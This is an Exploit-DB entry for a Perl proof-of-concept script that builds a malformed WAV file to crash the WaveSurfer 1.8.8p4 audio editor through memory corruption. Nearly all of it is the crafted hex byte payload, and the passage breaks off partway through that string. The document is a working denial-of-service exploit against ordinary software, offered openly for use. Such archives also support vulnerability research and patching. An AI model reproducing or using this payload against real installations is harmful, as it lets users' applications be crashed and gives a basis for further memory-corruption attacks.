Exploit-DB #19772
Description: WaveSurfer 1.8.8p4 - Memory Corruption (PoC)
Type: dos
Platform: windows
Date: 2012-07-12
Author: Jean Pascal Pereira

Exploit:
#!/usr/bin/perl

# WaveSurfer 1.8.8p4 <= Memory Corruption Exploit / PoC

# Author: Jean Pascal Pereira <pereira@secbiz.de>

# This script creates a crafted WAV file which leads the application to crash (DoS).

my $crafted = 

"\x52\x49\x46\x46\x20\x12\x01\x00\x57\x41\x56\x45\x66\x6D\x74\x20".
"\x10\x00\x00\x00\x01\x00\x01\x00\x44\xAC\x00\x00\x88\x58\x01\x00".
"\x02\x00\x10\x00\xFF\xFF\xFF\xFF\xFC\x11\x01\x00\x00\x00\xFF\xFF".
"\x02\x00\xFE\xFF\x02\x00\xFE\xFF\x01\x00\x00\x00\x00\x00\x01\x00".
"\xFE\xFF\x02\x00\xFE\xFF\x02\x00\xFF\xFF\x00\x00\x01\x00\xFE\xFF".
"\x02\x00\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x01\x00\xFE\xFF\x03\x00\xFC\xFF\x05\x00\xFB\xFF\x05\x00".
"\xFC\xFF\x03\x00\xFE\xFF\x00\x00\x02\x00\xFD\xFF\x04\x00\xFB\xFF".
"\x05\x00\xFB\xFF\x04\x00\xFD\xFF\x02\x00\xFF\xFF\x01\x00\xFE\xFF".
"\x02\x00\xFE\xFF\x02\x00\xFF\xFF\xFF\xFF\x03\x00\xFC\xFF\x04\x00".
"\xFD\xFF\x01\x00\x00\x00\x00\x00\x01\x00\xFE\xFF\x02\x00\xFE\xFF".
"\x02\x00\xFF\xFF\x00\x00\x00\x00\x01\x00\xFE\xFF\x03\x00\xFC\xFF".
"\x04\x00\xFD\xFF\x02\x00\xFE\xFF\x02\x00\xFF\xFF\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x01\x00\xFD\xFF\x04\x00\xFC\xFF\x04\x00".
"\xFC\xFF\x04\x00\xFC\xFF\x03\x00\xFF\xFF\x00\x00\x00\x00\x01\x00".
"\xFD\xFF\x04\x00\xFC\xFF\x04\x00\xFD\xFF\x01\x00\x00\x00\x00\x00".
"\x00\x00\xFF\xFF\x01\x00\x00\x00\x00\x00\xFF\xFF\x01\x00\xFF\xFF".
"\x02\x00\xFD\xFF\x03\x00\xFD\xFF\x03\x00\xFE\xFF\x01\x00\xFF\xFF".
"\x00\x00\x01\x00\xFF\xFF\x01\x00\x00\x00\xFF\xFF\x01\x00\xFF\xFF".
"\x01\x00\xFF\xFF\x02\x00\xFE\xFF\x01\x00\xFF\xFF\x01\x00\xFF\xFF".
"\x02\x00\xFD\xFF\x02\x00\x00\x00\xFF\xFF\x01\x00\xFF\xFF\x01\x00".
"\xFF\xFF\x02\x00\xFD\xFF\x03\x00\xFD\xFF\x03\x00\xFE\xFF\x02\x00".
"\xFD\xFF\x03\x00\xFE\xFF\x01\x00\x00\x00\xFF\xFF\x02\x00\xFE\xFF".
"\x01\x00\x00\x00\xFF\xFF\x02\x00\xFE\xFF\x01\x00\x00\x00\x00\x00".
"\xFF\xFF\x01\x00\x00\x00\xFF\xFF\x02\x00\xFD\xFF\x03\x00\xFE\xFF".
"\x01\x00\xFF\xFF\x01\x00\xFF\xFF\x01\x00\x00\x00\xFE\xFF\x04\x00".
"\xFA\xFF\x07\x00\xF9\xFF\x06\x00\xFC\xFF\x02\x00\x00\x00\xFF\xFF".
"\x01\x00\xFF\xFF\x01\x00\xFF\xFF\x01\x00\xFF\xFF\x00\x00\x02\x00".
"\xFC\xFF\x05\x00\xFA\xFF\x06\x00\xFC\xFF\x02\x00\x00\x00\xFE\xFF".
"\x02\x00\xFF\xFF\x00\x00\x01\x00\xFF\xFF\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF".
"\x02\x00\xFE\xFF\x02\x00\xFF\xFF\xFF\xFF\x02\x00\xFE\xFF\x02\x00".
"\xFE\xFF\x01\x00\x00\x00\xFF\xFF\x02\x00\xFE\xFF\x02\x00\xFD\xFF".
"\x04\x00\xFC\xFF\x03\x00\x00\x00\xFD\xFF\x05\x00\xFB\xFF\x03\x00".
"\xFF\xFF\x01\x00\xFF\xFF\x01\x00\xFE\xFF\x03\x00\xFD\xFF\x02\x00".
"\xFF\xFF\x01\x00\xFE\xFF\x02\x00\xFE\xFF\x02\x00\xFF\xFF\x00\x00".
"\x00\x00\x01\x00\xFE\xFF\x02\x00\xFE\xFF\x02\x00\xFF\xFF\x00\x00".
"\x01\x00\xFE\xFF\x02\x00\xFF\xFF\x00\x00\x01\x00\xFE\xFF\x02\x00".
"\xFF\xFF\x01\x00\xFF\xFF\x00\x00\x00\x00\x01\x00\xFF\xFF\x00\x00".
"\x01\x00\xFE\xFF\x03\x00\xFE\xFF\x00\x00\x01\x00\xFE\xFF\x03\x00".
"\xFE\xFF\x00\x00\x01\x00\xFE\xFF\x03\x00\xFD\xFF\x02\x00\xFE\xFF".
"\x02\x00\xFF\xFF\x01\x00\xFF\xFF\x00\x00\x00\x00\x01\x00\xFF\xFF".
"\x01\x00\xFE\xFF\x02\x00\xFF\xFF\x01\x00\xFE\xFF\x02\x00\xFE\xFF".
"\x02\x00\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00".
"\xFE\xFF\x02\x00\xFF\xFF\x00\x00\x01\x00\xFF\xFF\x01\x00\xFF\xFF".
"\x01\x00\xFF\xFF\x00\x00\x01\x00\xFF\xFF\x01\x00\xFF\xFF\x00\x00".
"\x00\x00\x01\x00\xFF\xFF\x01\x00\xFE\xFF\x03\x00\xFD\xFF\x03\x00".
"\xFD\xFF\x03\x00\xFD\xFF\x02\x00\x00\x00\xFF\xFF\x01\x00\xFF\xFF".
"\x00\x00\x01\x00\x00\x00\xFE\xFF\x03\x00\xFD\xFF\x03\x00\xFE\xFF".
"\x01\x00\x00\x00\xFF\xFF\x02\x00\xFE\xFF\x02\x00\xFE\xFF\x01\x00".
"\x01\x00\xFE\xFF\x03\x00\xFC\xFF\x04\x00\xFD\xFF\x02\x00\x00\x00".
"\xFE\xFF\x04\x00\xFB\xFF\x05\x00\xFB\xFF\x05\x00\xFD\xFF\x01\x00".
"\x00\x00\xFF\xFF\x01\x00\x01\x00\xFE\xFF\x02\x00\xFF\xFF\x00\x00".
"\x01\x00\xFE\xFF\x02\x00\xFF\xFF\x00\x00\x01\x00\xFE\xFF\x02\x00".
"\xFF\xFF\xFF\xFF\x02\x00\xFE\xFF\x02\x00\xFF\xFF\x00\x00\x00\x00".
"\x00\x00\xFF\xFF\x03\x00\xFC\xFF\x04\x00\xFD\xFF\x00\x00\x03\x00".
"\xFC\xFF\x04\x00\xFD\xFF\x01\x00\x00\x00\x00\x00\x01\x00\xFE\xFF".
"\x02\x00\xFE\xFF\x02\x00\xFF\xFF\x00\x00\x00\x00\xFF\xFF\x03\x00".
"\xFC\xFF\x04\x00\xFC\xFF\x03\x00\xFF\xFF\xFF\xFF\x02\x00\xFE\xFF".
"\x02\x00\xFE\xFF\x02\x00\xFE\xFF\x02\x00\xFE\xFF\x02\x00\xFE\xFF".
"\x03\x00\xFD\xFF\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\xFD\xFF".
"\x04\x00\xFC\xFF\x04\x00\xFC\xFF\x03\x00\xFE\xFF\x02\x00\xFE\xFF".
"\x02\x00\xFE\xFF\x01\x00\x01\x00\xFE\xFF\x01\x00\x01\x00\xFD\xFF".
"\x04\x00\xFD\xFF\x01\x00\x00\x00\x00\x00\xFF\xFF\x02\x00\xFE\xFF".
"\x01\x00\xFF\xFF\x02\x00\xFD\xFF\x04\x00\xFB\xFF\x05\x00\xFC\xFF".
"\x03\x00\xFE\xFF\x01\x00\x00\x00\x00\x00\xFF\xFF\x02\x00\xFE\xFF".
"\x02\x00\xFE\xFF\x01\x00\x00\x00\xFF\xFF\x02\x00\xFE\xFF\x01\x00".
"\x00\x00\xFF\xFF\x01\x00\xFF\xFF\x01\x00\x00\x00\x00\x00\x00\x00".
"\xFE\xFF\x03\x00\xFE\xFF\x02\x00\xFE\xFF\x02\x00\xFD\xFF\x03\x00".
"\xFE\xFF\x01\x00\x00\x00\xFF\xFF\x02\x00\xFD\xFF\x03\x00\xFE\xFF".
"\x01\x00\x01\x00\xFE\xFF\x02\x00\xFF\xFF\xFF\xFF\x03\x00\xFD\xFF".
"\x02\x00\x00\x00\xFD\xFF\x05\x00\xFB\xFF\x04\x00\xFD\xFF\x01\x00".
"\x00\x00\x01\x00\xFE\xFF\x02\x00\xFE\xFF\x01\x00\x01\x00\xFD\xFF".
"\x04\x00\xFD\xFF\x02\x00\xFF\xFF\xFF\xFF\x02\x00\xFF\xFF\x00\x00".
"\x01\x00\xFE\xFF\x01\x00\x01\x00\xFE\xFF\x03\x00\xFC\xFF\x04\x00".
"\xFD\xFF\x01\x00\x01\x00\xFE\xFF\x03\x00\xFD\xFF\x02\x00\xFE\xFF".
"\x02\x00\xFF\xFF\x00\x00\x01\x00\xFF\xFF\xFF\xFF\x02\x00\xFE\xFF".
"\x02\x00\x00\x00\xFD\xFF\x04\x00\xFC\xFF\x04\x00\xFD\xFF\x02\x00".
"\xFF\xFF\x01\x00\xFF\xFF\x01\x00\xFF\xFF\x01\x00\xFF\xFF\x01\x00".
"\x00\x00\xFF\xFF\x01\x00\xFE\xFF\x03\x00\xFE\xFF\x01\x00\xFF\xFF".
"\x01\x00\xFF\xFF\x01\x00\x00\x00\xFF\xFF\x01\x00\xFF\xFF\x01\x00".
"\xFF\xFF\x01\x00\xFF\xFF\x01\x00\xFF\xFF\x00\x00\x00\x00\x00\x00".
"\x01\x00\xFE\xFF\x02\x00\xFE\xFF\x01\x00\x00\x00\x00\x00\x00\x00".
"\x01\x00\xFE\xFF\x01\x00\x01\x00\xF